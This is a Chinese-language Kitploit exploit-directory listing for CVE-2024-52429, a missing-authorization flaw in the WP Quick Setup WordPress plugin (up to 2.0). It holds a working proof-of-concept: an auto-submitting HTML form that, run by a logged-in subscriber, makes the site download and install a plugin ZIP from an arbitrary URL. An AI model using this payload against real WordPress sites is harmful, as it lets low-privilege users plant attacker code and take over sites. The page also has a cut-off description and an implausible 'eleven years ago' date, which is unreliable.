Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具，武装您的安全武器库！

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新，查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-52429 — WP Quick Setup <= 2.0 - 授权缺失导致已认证用户（订阅者及以上）可任意安装插件/主题 | Kitploit
工具/GitHubGitHub/randomrobbiebf/cve-2024-52429
身份验证与授权漏洞分析漏洞利用Web应用程序漏洞利用渗透测试错误配置
GitHubrandomrobbiebf/cve-2024-52429

CVE-2024-52429

WP Quick Setup <= 2.0 - 授权缺失导致已认证用户（订阅者及以上）可任意安装插件/主题

查看仓库
11年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2024-52429

WP Quick Setup <= 2.0 - 缺少授权导致认证用户（订阅者+）可任意安装插件/主题

描述：

WP Quick Setup WordPress 插件在所有版本至 2.0 存在未授权的插件和主题安装漏洞，原因是函数缺少能力检查。这使得

root@kitploit:~
Type: plugin
CVSS Score: 8.8
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CVE: CVE-2024-52429

POC

以订阅者身份登录，然后运行以下 HTML

root@kitploit:~
<html>
  <body>
    <form action="https://wp-dev.ddev.site/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="wes&#95;install&#95;plugins" />
      <input type="hidden" name="plugin&#95;urls&#91;&#93;" value="https&#58;&#47;&#47;downloads&#46;wordpress&#46;org&#47;plugin&#47;wdes&#45;responsive&#45;mobile&#45;menu&#46;zip" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>
下载工具